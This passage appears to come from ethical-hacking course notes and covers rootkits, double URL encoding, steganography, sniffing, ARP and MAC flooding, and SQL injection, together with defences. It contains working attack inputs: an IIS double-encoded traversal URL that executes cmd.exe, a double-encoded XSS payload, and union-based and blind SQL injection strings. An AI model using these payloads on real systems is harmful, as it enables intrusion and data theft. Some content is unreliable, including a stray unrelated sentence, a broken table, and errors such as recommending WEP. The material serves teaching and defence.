o It enables further compromise by providing the functionality to:
 Download additional malware
 Hide its components
 Stop security applications from functioning
 Azazel:
o Azazel is a userland rootkit written in C based off of the original LD_PRELOAd technique
from Jynx rootkit.
 ZeroAccess:
o ZeroAccess is a kernel-mode rootkit which uses advanced techniques to hide its presence.
o It is capable of functioning on both 32 and 64-bit flavors of Windows from a single installer
and acts as a sophisticated delivery platform for other malware.
o If running under 32-bit Windows, it will employ its kernel-mode rootkit. The rootkit's purpose
is to:
 Hide the infected driver on the disk
 Enable read and write access to the encrypted files
 Deploy self defense
o The payload of ZeroAccess is to connect to a peer-to-peer botnet and download further files.

Detecting Rootkits
 Integrity-Based Detection: It compares a snapshot of the file system, boot records,
or memory with a known trusted baseline.
 Signature-Based Detection: This technique compares characteristics of all system
processes and executable files with a database of known rootkit fingerprints.
 Heuristic/Behavior-Based Detection: Any deviations in the system's normal activity or
behavior may indicate the presence of rootkit.

21
 Runtime Execution Path Profiling: This technique compares runtime execution paths of all
system processes and executable files before and after the rootkit infection.
 Cross View-Based Detection: Enumerates key elements in the computer system such
as system files, processes, and registry keys and compares them to an algorithm used to
generate a similar data set that does not rely on the common APIs. Any discrepancies between
these two data sets indicate the presence of rootkit.

Steps for Detecting Rootkits


1. Run "dir /s /b /ah" and "dir /s /b /a-h" inside the potentially infected OS and save the results.
2. Boot into a clean CD, run "dir /s /b /ah" and "dir /s /b /a-h" on the same drive and save the
results.
3. Run a clean version of WinDiff on the two sets of results to detect file-hiding ghostware (i.e.,
invisible inside, but visible from outside)

How to Defend against Rootkits?


 Reinstall OS/applications from a trusted source after backing up the critical data.
 Well-documented automated installation procedures need to be kept.
 Perform kernel memory dump analysis to determine the presence of rootkits.
 Harden the workstation or server against the attack.
 Educate staff not to download any files/programs from untrusted sources.
 Install network and host-based firewalls.
 Ensure the availability of trusted restoration media.
 Update and patch operating systems and applications.
 Verify the integrity of system files regularly using cryptographically strong digital fingerprint
technologies.
 Update antivirus and anti-spyware software regularly.
 Avoid logging in an account with administrative privileges.
 Adhere to the least privilege principle.
 Ensure the chosen antivirus software posses rootkit protection.
 Do not install unnecessary applications and also disable the features and services not in use.

Anti-Rootkits
 Stinger: Stinger scans rootkits, running processes, loaded modules, registry and directory
locations known to be used by malware on the machine.
 UnHackMe: UnHackMe detects and removes malicious
programs (rootkits/malware/adware/spyware/Trojans)
 GMER: GMER is an application that detects and removes rootkits. (很強的 anti-rootkit)

Double Encoding
Double percent encoding is the same as percent encoding with a twist that each character
is encoded twice instead of once. This technique comes in pretty handy when attempting to

22
evade filters which attempt to blacklist certain encoded characters, so we can double encode
instead and let the filter decode to the original form. This technique only works where recursive
decoding is done.

It is the same technique that was used in the infamous IIS 5.0 directory traversal exploit in 2001.

Double encoding sometimes works well in Local File Inclusion (LFI) or Remote File
Inclusion (RFI) scenarios as well, in which we need to encode our path payload.
Typically ../../ or ..\..\ is used to traverse back to the parent directory; some filters detect this and
block the attempt. We can utilize the double technique to evade this.

Introducing double encoding


In percent encoding, if we had %3C as our percent-encoded character then it gets decoded into <.
In double encoding, the percent-encoded character is again encoded, which means that
the % prefixed hex-character gets encoded again to %25 plus the hex-character of the original
character. So if I had to encode < using double encoding, I'll first encode it into its percent-
encoded format, which is %3c and then again percent encode the % character. The result of this
will be %253c. Normally, this should be decoded only once but there are scenarios where the
developer makes the mistake of decoding it multiple times or situations in which this happens by
design. This effectively results in bypasses of filters depending on the scenario:

 Normal URL: http://www.example.com/derp/one/more/time.html


 Percent
encoded: http%3A%2F%2Fwww.example.com%2Fderp%2Fone%2Fmore%2Ftime.html
 Double
encoded: http%253A%252F%252Fwww.example.com%252Fderp%252Fone%252Fmore
%252Ftime.html

IIS 5.0 directory traversal code execution – CVE-2001-0333


In 2001, a directory traversal vulnerability in Microsoft's popular IIS 5.0 web server appeared.
The vulnerability was critical because it was a zero authentication code execution vulnerability.
The vulnerability was due to double decoding of a URL passed into the request.

Microsoft issued security bulletin MS01-026 to address this flaw and also described the
vulnerability in their own words. I'll quote the technical advisory published at Microsoft's
website:

A vulnerability that could enable an attacker to run operating system commands on an affected
server. When IIS receives a user request to run a script or other server-side program, it performs
a decoding pass to render the request in a canonical form, then performs security checks on the
decoded request. A vulnerability results because a second, superfluous decoding pass is

23
performed after the security checks are completed. If an attacker submitted a specially
constructed request, it could be possible for the request to pass the security checks, but then be
mapped via the second decoding pass into one that should have been blocked -- specifically, it
could enable the request to execute operating system commands or programs outside the virtual
folder structure. These would be executed in the security context of the IUSR_machinename
account which, by virtue of its membership in the Everyone group, would grant the attacker
capabilities similar to those of a non-administrative user interactively logged on at the console.

This excerpt mentions specifically that a vulnerability results because a second, superfluous
decoding pass is performed after the security checks are completed. This clearly speaks by itself
that double decoding is done by mistake in the IIS server that allows someone to traverse path
names and execute commands by communicating with the cmd.exe parser; the code gets
executed under the rights of the IIS webserver account.

Whenever IIS was asked to serve a CGI page with ../../ in the path which goes outside the root
directory then the request would have got blocked as it is a clear path traversal outside of the root
directory.

Assuming that the root directory is a Windows folder, if we send the following request, it will be
blocked as it contains ../../ for directory traversal inside the path name.

Normal URL:

http://example.com/scripts/../../winnt/system32/cmd.exe?/c+dir+c:\

Then using the superfluous second decoding, as Microsoft likes to call it. We can perform path
traversal and execute commands by hitting the command-line parser of Windows.

So the following double-encoded URL will bypass and execute code under the context of IIS
server account name.

Double-encoded URL:

http://example.com/scripts/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?
/c+dir+c:\

Using double encoding to evade XSS filters


We have covered a directory traversal security check bypass through the double encoding
technique. In this section, I'll cover how we can evade some XSS filters or checks that perform
double decoding of the input.

24
Assuming that we've an XSS filter that detects <, >, /, or their percent-encoded forms, we can
apply the double encoding technique to our XSS payload, if our input gets recursively decoded.

Original request with XSS payload


(blocked): http://www.example.com/search.php?q=<script>alert(0)</script>

Percent-encoded XSS payload (blocked):

http://www.example.com/search.php?q=%3Cscript%3Ealert(0)%3C%2Fscript%3E

Double-percent-encoded payload
(allowed): http://www.example.com/search.php?q=%253Cscript%253Ealert(0)%253C%252Fscr
ipt%253E

Basically, we can tabulate the encodings that we've just done:

Character Percent encoded Double encoded

< %3C %253C

> %3E %253E

/ %2F %252F

Before I end this topic, I must say the double encoding technique to bypass countermeasures is
very powerful provided that our requirements (such as recursive decoding). It can be applied to
other attack techniques such as SQL injections.

Double encoding can be further extrapolated into triple encoding and so on. For triple encoding,
all we need to is prefix %25 then append 25 then the hex code; the triple encoding for < will
be %25253C.

STEGANOGRAPHY TECHNOLOGIES AND ITS COUNTERMEASURES:

What Is Steganography, and How Does It Work?


Steganography is the practice of “hiding in plain sight.” Steganography encodes a
secret message within another non-secret object in such a manner as to make the message
imperceptible to those who aren’t aware of its presence. Of course, because of this secrecy,
steganography generally requires the recipient to be aware that a message is forthcoming.
To understand the meaning of steganography, it’s important to know the origins of the technique.
The practice of steganography dates back to ancient Greece, from which we also get the word

25
itself: a combination of the Greek words “steganos” (covered or concealed) and “graphein”
(writing).
For example, the Greek historian Herodotus wrote about how Spartan warriors used
steganography to conceal military intelligence from the enemy. The Spartans would write
messages on wood tablets and cover them with wax, hiding the information in case the
messenger was intercepted. The recipient could then scrape off the wax and easily read the
message.
The Difference Between Steganography, Cryptography, and Obfuscation
Steganography, cryptography, and obfuscation are three related terms; they all refer to
practices that make data more difficult to understand. However, these words are not
interchangeable — subtle yet crucial distinctions exist between them.
Below are the differences between steganography, cryptography, and obfuscation:
 Cryptography attempts to encode a message, making it difficult or impossible for anyone
except the intended recipient to decrypt it. The encoding and decoding process is
accomplished using cryptographic keys that translate back and forth between the true message
and its encrypted version.
 Steganography attempts to hide a message within another object. Not only does
steganography seek to make this information harder to understand, but it also seeks to conceal
that a message is being sent in the first place.
 Obfuscation is any technique that prevents third parties from understanding a message. For
example, a program’s source code may be obfuscated by removing the whitespace, making
the message difficult for humans to read.
Note that steganography and cryptography are not mutually exclusive. For example,
steganography could hide a message inside another file using encryption for extra security. The
recipient could then extract the encrypted message and decrypt it using a given key.
Examples of Steganography
Steganography has been in use for centuries. Basic physical forms of steganography
include invisible ink that can only be read by exposing it to heat and messages written under the
postage stamps of an envelope.
However, clever practitioners of steganography have developed a range of more sophisticated
techniques that work in various mediums. One example is a laser printer’s Machine
Identification Code (MIC), a unique identifier encoded on any printed document using tiny
yellow dots that are invisible to the naked eye. Secret messages can even use the letters of a
crossword or the numbers of a sudoku puzzle.
More recently, digital stenography has emerged as a practice with both legitimate and criminal
uses.

26
The different algorithms in digital steganography include:
 Least significant bit (LSB): In the LSB algorithm, the least significant bit in each byte of a
multimedia file (e.g., an image or audio) is modified to convey a hidden message.
 Multi-access edge computing can also help save on bandwidth costs and improve security by
processing data locally instead of sending it over the network to central servers.
 Discrete Fourier transform (DFT): In the DFT algorithm, information is hidden inside a
multimedia file using the mathematical technique of discrete Fourier transformation.

The good news for users of steganography is that they don’t have to code these algorithms from
scratch. Instead, different programming languages come with pre-built steganography libraries
and frameworks. For example, the Python Stegano module can hide messages within an image
(PyPI), while the ImageSteganography library does the same for C++ programmers (GitHub,
2022).

What Are the 5 Types of Steganography?

Different Types of Steganography


1. Text Steganography − There is steganography in text files, which entails secretly storing
information. In this method, the hidden data is encoded into the letter of each word.
Text steganography conceals a secret message inside a piece of text. The simplest version of text
steganography might use the first letter in each sentence to form the hidden message. Other text
steganography techniques might include adding meaningful typos or encoding information
through punctuation.

2. Image Steganography − The second type of steganography is image steganography, which


entails concealing data by using an image of a different object as a cover. Pixel intensities are the
key to data concealment in image steganography.
Since the computer description of an image contains multiple bits, images are frequently used as
a cover source in digital steganography.
The various terms used to describe image steganography include:

 Cover-Image - Unique picture that can conceal data.

 Message - Real data that you can mask within pictures. The message may be in the form of
standard text or an image.

 Stego-Image − A stego image is an image with a hidden message.

 Stego-Key - Messages can be embedded in cover images and stego-images with the help of a
key, or the messages can be derived from the photos themselves.

27
3. Audio Steganography − It is the science of hiding data in sound. Used digitally, it protects
against unauthorized reproduction. Watermarking is a technique that encrypts one piece of data
(the message) within another (the "carrier"). Its typical uses involve media playback, primarily
audio clips.

4. Video Steganography − Video steganography is a method of secretly embedding data or other


files within a video file on a computer. Video (a collection of still images) can function as the
"carrier" in this scheme. Discrete cosine transform (DCT) is commonly used to insert values that
can be used to hide the data in each image in the video, which is undetectable to the naked eye.
Video steganography typically employs the following file formats: H.264, MP4, MPEG, and
AVI.

5. Network or Protocol Steganography − It involves concealing data by using a network protocol


like TCP, UDP, ICMP, IP, etc., as a cover object. Steganography can be used in the case of
covert channels, which occur in the OSI layer network model.
Network steganography is a clever digital steganography technique that hides information inside
network traffic. For example, data can be concealed within the TCP/IP headers or payloads of
network packets. The sender can even impart information based on the time between sending
different packets.

How Do Malicious Hackers Use Steganography?


Steganography can be used for both good and ill. For instance, dissidents living
under oppressive regimes can use steganography to hide messages from the government, passing
sensitive information within a seemingly innocuous medium.
However, digital steganography is also a tool for malicious hackers. An attacker can hide the
source code for a malware application inside another supposedly harmless file (such as a text file
or an image). A separate program can then extract and run the source code.
In June 2020, for example, security researchers at Malwarebytes discovered that malicious actors
had hidden code for a web skimmer inside the EXIF metadata of an image file. When executed,
this code silently captured the details of users as they entered their names, addresses, and
payment card information on e-commerce websites (Segura, 2020).
Steganography Examples Include:
 Writing with invisible ink

 Embedding text in a picture (like an artist hiding their initials in a painting they’ve done)

 Backward masking a message in an audio file (remember those stories of evil messages
recorded backward on rock and roll records?)

28
Factors Steganography Cryptography

 Concealing information in either metadata or within a file header

 Hiding an image in a video, viewable only if the video is played at a particular frame rate

 Embedding a secret message in either the green, blue, or red channels of an RRB image

Steganography can be used both for constructive and destructive purposes. For example,
education and business institutions, intelligence agencies, the military, and certified ethical
hackers use steganography to embed confidential messages and information in plain sight.

On the other hand, criminal hackers use steganography to corrupt data files or hide malware in
otherwise innocent documents. For example, attackers can use BASH and PowerShell scripts to
launch automated attacks, embedding scripts in Word and Excel documents.

Steganography has a huge advantage over standard cryptographic methods.

Steganography vs. Cryptography


Steganography and cryptography aim to shield messages and data from prying eyes
at their most fundamental level. However, they employ an alternative means of security.
Information is converted into unintelligible cipher text in cryptography. Someone intercepting
this message could tell immediately that encryption was used. In contrast, steganography hides a
message without altering its original format.

29
It's a method to conceal the fact that It's a method for making information
Explanation communication is taking place unintelligible

Aim Maintain communication security Enable data protection

Optional, but increases security when


Key utilized Necessary prerequisite

Data
Visibility No Yes

Once hidden information is decoded, You can recover the original message from the
Failure the data can be used by anyone ciphertext if you can access the decryption key

Data Does not modify the data's general


Structure structure Modifies the overall data structure

How Steganography Differs From Obfuscation?


Obfuscation, like steganography, is defined as hiding information, but the big difference is
that the former method deliberately makes the message hard to interpret, read, or decode. That
makes sense since to obfuscate means to render something unclear, unintelligible, or obscure.

Cyber-security professionals employ obfuscation to protect sensitive information such as


programming codes. The process makes it difficult for hackers to read the codes in the first place,
which in turn prevents them from exploiting the data.

30
Steganography Techniques Explained:
 Secure Cover Selection
Secure Cover Selection involves finding the correct block image to carry malware. Then,
hackers compare their chosen image medium with the malware blocks. If an image block
matches the malware, the hackers fit it into the carrier image, creating an identical image
infected with the malware. This image subsequently passes quickly through threat detection
methods.

 Least Significant Bit


That phrase almost sounds like a put-down, doesn’t it? However, in this case, it refers to
pixels. Grayscale image pixels are broken into eight bits, and the last bit, the eighth one, is called
the Least Significant Bit. Hackers use this bit to embed malicious code because the overall pixel
value will be reduced by only one, and the human eye can’t detect the difference in the image. So,
no one is even aware that anything is amiss, and that the image is carrying something dangerous
within.

 Palette-Based Technique
Like the Least Significant Bit technique, the Palette-Based Technique also relies on
images. Hackers embed their message in palette-based images such as GIF files, making it
difficult for cybersecurity threat hunters or ethical hackers to detect the attack.

Steganography Tools
Various tools or software that support steganography are now readily accessible. Though
most hide information, some provide additional security by encrypting it beforehand. You can
find the following free steganography resources online:

 Steghide: Steghide is a free tool that uses steganography to conceal information in other files,
such as media or text.

 Stegosuite: It is a Java-based, free steganography tool. Stegosuite makes it simple to


obfuscate data in pictures for covert purposes.

 OpenPuff: It is a high-quality steganographic tool that allows you to conceal data in other
media types like images, videos, and Flash animations.

 Xiao Steganography: To conceal information in BMP images or WAV files, use the free Xiao
Steganography tool.

 SSuite Picsel: The free portable program SSuite Picsel is yet another option for hiding text
within an image file; however, it uses a somewhat different method than other programs.

31
OpenStego is an open-source steganography tool that offers two main functionalities: data hiding
and watermarking (i.e., hiding an invisible signature). OpenStego works only for image files
(Vaidya, S).
Advantages of Steganography
Steganography is a method that makes it easy to conceal a message within another to keep it
secret. The result is that the hidden message remains hidden. A steganography approach can
benefit images, videos, and audio files. Further advantages include:

 Unlike other methods, steganography has the added benefit of hiding communications so well
that they receive no attention. However, in countries where encryption is illegal, sending an
encrypted message that you can easily decipher will raise suspicion and may be risky.

 Steganography is a form of encryption that protects the information within a message and the
connections between sender and receiver.

 The three essential elements of steganography—security, capacity, and robustness—make it


worthwhile to covert information transfer via text files and develop covert communication
channels.

 You can store an encrypted copy of a file containing sensitive information on the server
without fear of unauthorized parties gaining access to the data.

 Government and law enforcement agencies can communicate secretly with the help of
steganography corporations.

Using Steganography to Deliver Attacks


These days, attacks are typically automated using
PowerShell or BASH scripts. And so are hackers. Excel and Word documents with macros
enabled have been a common vector for attacks. The hidden script is triggered when the target
opens the malicious Word or Excel file.

The attacker can access the system without the victim being duped into installing Steghide. The
intruder is using a steganographic program to take advantage of widespread Windows tools like
Excel and PowerShell. Once the victim reads the document, it becomes easier for the hacker to
attack the system.

Artificial Intelligence and Steganography


Hackers are also using artificial intelligence (AI). Steganography is just one of the
many methods that artificial intelligence is increasingly employing to conceal its activities. AI
implementations have tweaked even steganographic techniques to make attacks harder to detect.

32
Detecting Steganography
In their line of work, security analysts look for indicators of standard attack and
penetration testing strategies (TTPs). The common signatures used by steganographic software
have been uncovered over time. Because of this, antivirus software, for example, can easily spot
the common behaviors of steganographic programs.

As a result, penetration testers and attackers constantly adjust their methods to stay undetected.
Likewise, security researchers continuously look for new signatures and attack tactics, while
cybercriminals continually adapt their tools and approaches.

Real-World Attacks That Used Steganography


In 2020, businesses in the United Kingdom, Germany, Italy, and Japan were hit by a
campaign using steganographic documents.

Hackers could avoid detection by using a steganographic image uploaded on a good platform,
like Imgur, to infect an Excel document. Mimikatz, a malware that steals Windows passwords,
was downloaded via a secret script included in the picture.

Mitigating Steganography-Based Attacks


Steganography is simple to implement during a cyber attack. However, it's much harder
to prevent since the people who pose a threat are getting more resourceful and ingenious, which
makes developing countermeasures more difficult.

Code disguised in images and other sorts of obfuscations are more likely to be discovered
dynamically by a behavioral engine. Therefore businesses should use modern endpoint
protection solutions that extend beyond static checks, elemental signatures, and other old-
fashioned components.

Employees should be aware of the risk of opening image files, as they may contain viruses. In
addition, the newest security patches should be installed whenever they become available, and
firms should use web filtering to ensure their employees can safely browse the web.

Popular Steganography Applications


There are many kinds of dedicated software applications available to facilitate
steganography. Here is a partial list of the more well-known steganography applications:

 Image Steganography: This application is a JavaScript tool used to hide images in other
image files

33
 OpenStego: This program is an open-source steganography tool

 Xiao Steganography: Xiao hides secret files in WAV or BMP files

 Crypture: This application is a command-line tool used to conduct steganography

 NoClue: This application is an open-source tool that hides text information in both video and
image carrier files

 Steganography Master: This app is an Android-based open-source tool that can hide text in an
image and gives you a decoding tool to pull hidden text messages from image files. It
supports multiple image formats (BMP, JPG, ICO, PNG)

 Steghide: Steghide is an application that hides data in different audio and image files,
including JPEG, BMP, AU, and WAV

Detection and Countermeasures


Detection can be challenging due to its subtle nature. However, some countermeasures
can help mitigate its risks:
 Employing intrusion detection systems (IDS) that can recognize patterns of
steganographic activity.
 Regularly monitoring network traffic and file integrity for anomalies.
 Using steganalysis tools to analyze suspect files for hidden data.

What Are Sniffing Attacks?


A sniffing attack occurs when an attacker uses a packet sniffer to intercept and read
sensitive data passing through a network (Biasco, 2021). Common targets for these attacks
include unencrypted email messages, login credentials, and financial information.
In some cases, attackers may also use sniffing attack tools and packet sniffers to inject malicious
code into otherwise innocuous data packets in an attempt to hijack a target’s computer or other
devices.
What is Sniffing Attack in System Hacking?
A sniffing attack in system hacking is a form of denial-of-service attack which is
carried out by sniffing or capturing packets on the network, and then either sending them
repeatedly to a victim machine or replaying them back to the sender with modifications.
Sniffers are often used in system hacking as a tool for analyzing traffic patterns in a scenario
where performing more intrusive and damaging attacks would not be desirable.
How Do Hackers Intercept Packets?
There are several ways an attacker can capture packets passing through a network. One
popular method is to set up a packet sniffer on a computer connected to the network in question.

34
This computer acts as a proxy between the targeted devices and the rest of the world, allowing
the attacker to capture all traffic passing through.
Another common technique is ARP poisoning, in which the attacker tricks devices on the
network into thinking they are communicating with another device when they are not (Grimmick,
2021). This allows the attacker to intercept and read all traffic passing between the two
“devices.”
Types of Sniffing Attacks
There are two primary sniffing attack types: passive and active.
Passive Sniffing
In a passive sniffing attack, the hacker monitors traffic passing through a network without
interfering in any way. This type of attack can be beneficial for gathering information about
targets on a network and the types of data (e.g., login credentials, email messages) they are
transmitting. Because it does not involve any interference with the target systems, it is also less
likely to raise suspicion than other types of attacks.
Active Sniffing
Active sniffing is a type of attack that involves sending crafted packets to one or more targets on
a network to extract sensitive data. By using specially crafted packets, attackers can often bypass
security measures that would otherwise protect data from being intercepted. Active sniffing can
also involve injecting malicious code into target systems that allows attackers to take control of
them or steal sensitive information.
Consequences of a Sniffing Attack
A successful sniffing attack can have several severe consequences for the targets. These
can include:
 Loss of sensitive data, such as login credentials, financial information, and email messages
 Injection of malicious code into target systems, allowing attackers to control devices or access
sensitive information
 Interruption of network traffic, which can cause communication problems and slow down
network performance
 Exposure of confidential information, such as trade secrets and proprietary data
 Damage to the reputation of the organization whose network has been compromised

How Can Sniffing Attacks Be Prevented?


There are many ways to protect your network against sniffing attacks. Some key measures
include:
 Using encryption to protect sensitive data from being intercepted
 Never sending sensitive information over an unencrypted connection

35
 Ensuring that all computers on a network are adequately protected with antivirus and firewall
software
 Making sure the wireless network is secured using WPA or WEP encryption
 Regularly updating all software and devices with the latest security patches
 Staying aware of what type of traffic passes through the network and taking steps to protect
sensitive information
 Using a VPN when connecting to public Wi-Fi networks
 Continuously monitoring the network for unusual activity

Countermeasures:
There are number of ways that the attacker can be prevented from using these methods,
including:
 ARP spoofing is not a very effective attack, except in networks that are poorly secured.
 In order for an attacker to use this method as a form of masquerading, they must be able to
send packets directly to the network (either through access to Wi-Fi or by finding a security
flaw). Because of this, the attacker’s IP address is likely to become known very quickly.
 A sniffing attack is a form of attack where the attacker tries to access certain data over the
network and sniffing is used as an essential task in capturing data. The term “sniffing”
comes from the action of sniffing or smelling. The attacker gets hold of this information by
using special software called “network analyzer”.
 Sniffing in Hacking: it is considered to be an intrusion on your computer system without
permission, without your knowledge, and without legal authorization. It’s called hacking,
which can be performed by several methods.

ARP:Address Resolution Protocol (ARP) is a stateless protocol used for resolving IP addresses
to machine MAC addresses. All network devices that need to communicate on the network
broadcast ARP queries in the system to find out other machines’ MAC addresses. ARP
Poisoning is also known as ARP Spoofing.

Here is how ARP works −

 When one machine needs to communicate with another, it looks up its ARP table.
 If the MAC address is not found in the table, the ARP_request is broadcasted over the
network.
 All machines on the network will compare this IP address to MAC address.
 If one of the machines in the network identifies this address, then it will respond to
the ARP_request with its IP and MAC address.

36
 The requesting computer will store the address pair in its ARP table and communication
will take place.

What is ARP Spoofing?


ARP packets can be forged to send data to the attacker’s machine.

 ARP spoofing constructs a large number of forged ARP request and reply packets to
overload the switch.
 The switch is set in forwarding mode and after the ARP table is flooded with spoofed
ARP responses, the attackers can sniff all network packets.

Attackers flood a target computer ARP cache with forged entries, which is also known
as poisoning. ARP poisoning uses Man-in-the-Middle access to poison the network.

What is MITM?

The Man-in-the-Middle attack (abbreviated MITM, MitM, MIM, MiM, MITMA) implies an
active attack where the adversary impersonates the user by creating a connection between the
victims and sends messages between them. In this case, the victims think that they are
communicating with each other, but in reality, the malicious actor controls the communication.

37
A third person exists to control and monitor the traffic of communication between two parties.
Some protocols such as SSL serve to prevent this type of attack.

This is how sniffing works. You must have understood how easy it is to get the HTTP credentials
just by enabling ARP poisoning.

ARP Poisoning has the potential to cause huge losses in company environments. This is the place
where ethical hackers are appointed to secure the networks.

Like ARP poisoning, there are other attacks such as MAC flooding, MAC spoofing, DNS
poisoning, ICMP poisoning, etc. that can cause significant loss to a network.

What is a MAC Flooding attack?


A MAC flooding attack, also known as a MAC table overflow attack, is a type of network
security attack that targets network switches. It involves overwhelming a switch’s MAC address
table by flooding it with a massive amount of spoofed Ethernet frames, each containing a unique
source MAC address.
MAC address: A MAC (Media Access Control) address is a unique identifying code allocated
to a network device or Network Interface Card (NIC) by the manufacturer for communication on
a network. It is a 48-bit hexadecimal number typically represented as six groups of two
hexadecimal digits, for example, 00:1A:54:72:64:B7.
MAC address table: A MAC address table, also known as a CAM (Content Addressable
Memory) table, is a database that maps MAC addresses to switch ports, enabling the switch to
forward frames to the correct destination.
Ethernet frames: Ethernet frames are the primary data units transmitted over Ethernet networks.
They contain the source and destination MAC addresses, payload data, and control information,
allowing communication between devices within a Local Area Network (LAN).

How does MAC Flooding work?


MAC flooding works by sending a flood of spoofed Ethernet frames with different source MAC
addresses to overwhelm a network switch’s MAC address table. Once the table is full, the switch
goes into fail-open mode and behaves like a hub instead of a switch. In this mode, the switch
broadcasts all incoming traffic to all ports, regardless of the destination MAC address. As a
result, the attacker can intercept and monitor all network traffic passing through the switch,
compromising the network’s security and privacy.

How to prevent MAC Flooding attacks?


Managed switches are commonly used as a preventive measure against MAC flooding attacks.
They provide advanced features and configuration options to help mitigate and defend against
such attacks. Some of the key features in managed switches that aid in MAC flooding prevention
include:

38
 Port security: Implement port security features on network switches to restrict the number
of MAC addresses allowed on each port.
 MAC address filtering: Configure switches to permit only specific MAC addresses on each
port. It can restrict unauthorized devices from connecting to the network.
 Network monitoring: Implement network monitoring tools and Intrusion Detection Systems
(IDS) to detect and alert unusual patterns of MAC address traffic behavior.
 Network segmentation: Divide your network into VLANs (Virtual Local Area Networks) to
segregate traffic and limit the impact of a MAC flooding attack.

What is SQL injection (SQLi) in Cyber Security?


Businesses today face a number of cyber threats, including SQL injections. An SQL
injection attack is a type of attack performed by a hacker on websites that use database
management systems.

With an SQL injection attack, hackers can access the website’s database and modify its
information. To do this, the hacker uses special characters or strings to trick the website into
thinking they are another user or a program requesting information. The result is that the
hacker ends up with access to privileged information they should not be able to see.

Often, attackers use SQL injection attacks to access confidential data stored on online
databases. An SQL injection attack is performed to bypass security measures and gain access
to confidential data stored on an online database server.

The SQL injection impact can range from accessing sensitive data like passwords, credit card
details, and personal information; to create new administrator accounts, deleting databases or
even entire databases, or executing commands on the backend server itself.

Since the source doesn’t know the data, it treats it as a standard query and responds
accordingly. This can be dangerous if the data that is being inserted is code that will take over
the query and send unexpected results back to the source.

Why Is an SQL Injection Attack Performed?

It is common for SQL injection attacks to be motivated by financial gain. There is a


possibility that hackers will sell sensitive data over the dark web, or malicious groups might
want to take advantage of your business by ruining it.

How Does a SQL Injection Work?

39
Multiple cyber attacks have used SQL injections over the last 20 years, usually as an initial
probe before deploying more sophisticated techniques.

The most common situation of SQL injection occurs when the attacker ask a user for input,
like their user id/username and password. The attacker provides an SQL statement that you
will unknowingly execute by entering the userid/username and the password.

The username and password entered by the user can be used to log in to a specific account. As
a result of a SQL injection, the process is hijacked in order to perform unauthorised actions.

To illustrate, the attacker could use another SQL command to override the logic of the query
using the query process outlined above. The attacker can amend the query by adding the
condition ‘OR 1=1’. If this is done, then each entry in the table will return a positive result
and when it finds an account matching a specific set of inputs in the database, the SQL query
logs into the account, which is almost as an administrator.

Users’ data is often stolen as a result of SQL injection attacks. Cybercriminals can misuse
login credentials such as email addresses, or phone numbers to conduct further cyberattacks.
Database tables can also be deleted or new information can be added to the database using this
attack.

40
What are SQL Queries and SQL Statements?
Queries are requests for information or data from tables or combinations of tables in
a database. Data analysis tools can generate pictorials, graphs, or complex graphs as the result
of Structured Query Language (SQL) queries.

There are four components to a SQL statement: identifiers, parameters, variables, names, data
types, and reserved words. The Analyze Transaction command does not specify the start of a
transaction if the SQL statement does not contain a Begin Transaction command.

Impact of SQL Injection


The intruder can retrieve all the user-data present in the database, such as user details,
credit card information, and social security numbers, and can also gain access to protected areas
like the administrator portal. It is also possible to delete the user data from the tables. These days
all the online shopping applications, bank transactions use back-end database servers. If the
intruder can exploit SQL injection, the entire server is compromised.

How to prevent SQL Injection attack?


o We should use user authentication to validate input from the user by pre-defining length,
input type, and the input field.
o Restricting the access privileges of users and defining the amount of data any outsider
can access from the database. Generally, the user cannot be granted permission to access
everything in the database.
o We should not use system administrator accounts.

Symptoms of SQLi
Injection attacks are often undetectable until it is too late. There are, however, some
observable signs, such as:

 Getting numerous emails from your webpage contact form in a short period of time.
 Advertising that redirects to suspicious websites.
 Errors and strange pop-ups.

Types of SQL Injections:

There are several types of SQL injection; however, the most common ones are:

41
1. In-band SQL injection

SQL Injection attacks that are conducted in-band are the most common and easiest to exploit.
During an in-band SQL injection, the attacker can both launch the attack and collect results
through the same communication channel.

For example,

By modifying the original query, the attacker can directly receive the results. Consider an
example where the user's personal information is displayed in the following question.

SELECT * FROM users WHERE user_id LIKE 'current_user'

An attacker can provide the following current_user by simply concatenating strings in the
application:

%'--

As a result, we get the following query string:

SELECT * FROM users WHERE user_id LIKE '%'--'

A single quote completes an SQL statement. It is considered a comment when the dash (-)
follows the line. Thus, the following query is executed by the application:

42
SELECT * FROM users WHERE user_id LIKE '%'

As a result of this attack, not just one user record will be displayed, but the entire user's table
(personal data).

In-band SQL injection can be divided into two types: error-based and union-based SQLi

A) SQLi Error
A SQL injection test technique called error-based because it uses error messages thrown
by the database server to find out the database’s structure. In some cases, an attacker can
enumerate an entire database with error-based SQL injection. A live website should disable
errors, or log them to a file with restricted access, instead of storing them in the log file.

For example, let's consider the following query:

SELECT * FROM users WHERE user_id = 'current_user'

Current_user values may be provided by malicious hackers as follows:

1'

This results in the following query:

SELECT * FROM users WHERE user_id = '1''

There is an error in the query due to the double quotes at the end. An attacker may see a
message such as this if the web server displays errors on screen:

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near "' at line 1 Warning:
mysql_fetch_array() expects parameter 1 to be resource, boolean given in
/hj/var/www/query.php on line 37

Consequently, the attacker can focus on MySQL-specific attacks as soon as he realizes the
application uses a MySQL database.

B) SQLi Union
The UNION SQL operator is used to combine the results of two or more SELECT
statements into one result in Union-based SQL injection.

43
For example, let's consider the following query:

SELECT * FROM users WHERE user_id = 'current_user'

Current_user may be provided by a malicious hacker as follows:

-1' UNION SELECT version(),current_user()--'

Thus, the query becomes:

SELECT * FROM users WHERE user_id = '-1' UNION SELECT


version(),current_user()--'

Database versions and current users are returned by the version and current_user functions in
MySQL. Following is the information the attacker receives:

5.1.73-0ubuntu0.10.04.1

mysql@localhost

It is immediately apparent to the attacker that the application uses a MySQL 5.1.73 database
on Ubuntu 10.04.1, accessed by the user mysql.

2. Inferential SQL injection

Inferential SQL injection is also known as blind SQLi. Contrary to in-band SQL injection,
inferential SQL injection may take longer for attackers to exploit. However, any form of SQLi
is dangerous.

The attacker cannot directly see the responses of the injected queries in Inferential SQLi
because the data is not transferred between the web applications. Instead, these kinds of
vulnerabilities are exploited by observing the behavior of the application in order to
enumerate the database.

This example illustrates what happens when a SQL injection fails due to an inference-based
attack. At the time of executing the stacked condition, the database engine checks if the
current user is a system administrator (SA). By executing a division by zero, the statement
forces the database to throw an error if the condition is true. Unless otherwise specified, a
valid instruction will be carried out.

44
MALICIOUS PARAMETER (INFERENCE ATTACK ON SQL SERVER).

1; IF SYSTEM_USER='sa' SELECT 1/0 ELSE SELECT 5

